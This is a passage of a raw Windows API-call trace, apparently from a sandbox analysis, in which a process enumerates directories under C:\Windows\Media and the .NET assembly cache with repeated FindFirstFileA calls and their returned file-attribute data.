nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0132.974] FindFirstFileA (in: lpFileName="C:\\Windows\\Media\\Characters\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x15, ftCreationTime.dwLowDateTime=0xfe634cda, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8107e38e, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8107e38e, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0132.999] FindFirstFileA (in: lpFileName="C:\\Windows\\Media\\Cityscape\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x15, ftCreationTime.dwLowDateTime=0xfe634cda, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8105822e, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8105822e, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f8b0, dwReserved1=0x50153a, cFileName=".", cAlternateFileName="")) returned 0x502598 [0133.011] FindFirstFileA (in: lpFileName="C:\\Windows\\Media\\Delta\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x15, ftCreationTime.dwLowDateTime=0xfe65ae34, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x81162bd0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81162bd0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0133.023] FindFirstFileA (in: lpFileName="C:\\Windows\\Media\\Festival\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x15, ftCreationTime.dwLowDateTime=0xfe65ae34, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x810f07af, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x810f07af, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f8b0, dwReserved1=0x50153a, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0133.035] FindFirstFileA (in: lpFileName="C:\\Windows\\Media\\Garden\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x15, ftCreationTime.dwLowDateTime=0xfe65ae34, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x810ca64f, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x810ca64f, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f8b0, dwReserved1=0x50153a, cFileName=".", cAlternateFileName="")) returned 0x502598 [0133.048] FindFirstFileA (in: lpFileName="C:\\Windows\\Media\\Heritage\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x810ca64f, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x810ca64f, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0133.061] FindFirstFileA (in: lpFileName="C:\\Windows\\Media\\Landscape\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x15, ftCreationTime.dwLowDateTime=0xfe65ae34, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8113ca70, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8113ca70, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f8b0, dwReserved1=0x50153a, cFileName=".", cAlternateFileName="")) returned 0x502598 [0133.074] FindFirstFileA (in: lpFileName="C:\\Windows\\Media\\Quirky\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x15, ftCreationTime.dwLowDateTime=0xfe65ae34, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x81116910, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81116910, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f8b0, dwReserved1=0x50153a, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0133.088] FindFirstFileA (in: lpFileName="C:\\Windows\\Media\\Raga\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x15, ftCreationTime.dwLowDateTime=0xfe65ae34, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x810a44ef, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x810a44ef, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0133.100] FindFirstFileA (in: lpFileName="C:\\Windows\\Media\\Savanna\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x15, ftCreationTime.dwLowDateTime=0xfe680f8e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x81116910, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81116910, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f8b0, dwReserved1=0x50153a, cFileName=".", cAlternateFileName="")) returned 0x502598 [0133.120] FindFirstFileA (in: lpFileName="C:\\Windows\\Media\\Sonata\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x15, ftCreationTime.dwLowDateTime=0xfe680f8e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x81162bd0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81162bd0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0133.155] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\*.*", lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe6f339c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xd0be0600, ftLastAccessTime.dwHighDateTime=0x1d4d596, ftLastWriteTime.dwLowDateTime=0xd0be0600, ftLastWriteTime.dwHighDateTime=0x1d4d596, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18fa00, dwReserved1=0x50152e, cFileName=".", cAlternateFileName="")) returned 0x502618 [0133.157] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9163ae80, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x93128760, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x93128760, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0133.158] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_32\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9163ae80, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xa43a1e00, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xa43a1e00, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502598 [0133.158] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_32\\CustomMarshalers\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x91803f00, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x91803f00, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x91803f00, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502518 [0133.159] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_32\\CustomMarshalers\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x917ddda0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x5908cca0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5908cca0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0133.162] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_32\\ISymWrapper\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9163ae80, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x91660fe0, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x91660fe0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0133.163] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_32\\ISymWrapper\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9163ae80, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x594b7320, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x594b7320, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0133.166] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_32\\Microsoft.Transactions.Bridge.Dtc\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x92730b40, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x92730b40, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x92730b40, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0133.167] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_32\\Microsoft.Transactions.Bridge.Dtc\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9270a9e0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x5cd8c060, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5cd8c060, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0133.171] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_32\\Microsoft.VisualBasic.Activities.Compiler\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9277ce00, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x9277ce00, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x9277ce00, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0133.171] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_32\\Microsoft.VisualBasic.Activities.Compiler\\v4.0_10.0.0.0__b03f5f7f11d50a3a\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x92756ca0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x56de2c40, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x56de2c40, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0133.176] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_32\\mscorlib\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x916f9560, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x916f9560, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x916f9560, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0133.176] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_32\\mscorlib\\v4.0_4.0.0.0__b77a5c561934e089\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x91687140, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x5d24ec60, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5d24ec60, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0133.180] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_32\\PresentationCore\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x92de2920, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x92de2920, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x92de2920, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0133.181] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_32\\PresentationCore\\v4.0_4.0.0.0__31bf3856ad364e35\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x92d96660, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x5e344920, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5e344920, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0133.189] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_32\\System.Data\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x91980cc0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x91980cc0, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x91980cc0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0133.189] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_32\\System.Data\\v4.0_4.0.0.0__b77a5c561934e089\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x91934a00, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x66571c40, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x66571c40, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0133.191] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_32\\System.Data.OracleClient\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa3eb90a0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xa3eb90a0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xa3eb90a0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0133.192] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_32\\System.Data.OracleClient\\v4.0_4.0.0.0__b77a5c561934e089\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa3eb90a0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x66714b60, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x66714b60, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0133.194] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_32\\System.EnterpriseServices\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x91745820, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x91745820, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x91745820, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0133.194] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_32\\System.EnterpriseServices\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9171f6c0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x67e24080, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x67e24080, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0133.197] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_32\\System.Printing\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x92d70500, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x92d70500, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x92d70500, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0133.198] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_32\\System.Printing\\v4.0_4.0.0.0__31bf3856ad364e35\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x92d70500, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x62d35480, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x62d35480, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0133.200] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_32\\System.Transactions\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x92c8bcc0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x92cb1e20, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x92cb1e20, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0133.201] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_32\\System.Transactions\\v4.0_4.0.0.0__b77a5c561934e089\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x92c8bcc0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x683a5360, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x683a5360, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0133.203] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_32\\System.Web\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa43a1e00, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xa43a1e00, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xa43a1e00, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0133.204] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_32\\System.Web\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa4355b40, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x6a1febe0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x6a1febe0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0133.207] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_64\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93128760, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xa5d5ebe0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xa5d5ebe0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x790053, dwReserved1=0x740073, cFileName=".", cAlternateFileName="")) returned 0x502598 [0133.212] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_64\\CustomMarshalers\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93317940, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x93317940, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x93317940, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502518 [0133.213] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_64\\CustomMarshalers\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93317940, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x59066b40, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x59066b40, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0133.215] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_64\\ISymWrapper\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93128760, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x93128760, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x93128760, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0133.216] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_64\\ISymWrapper\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, 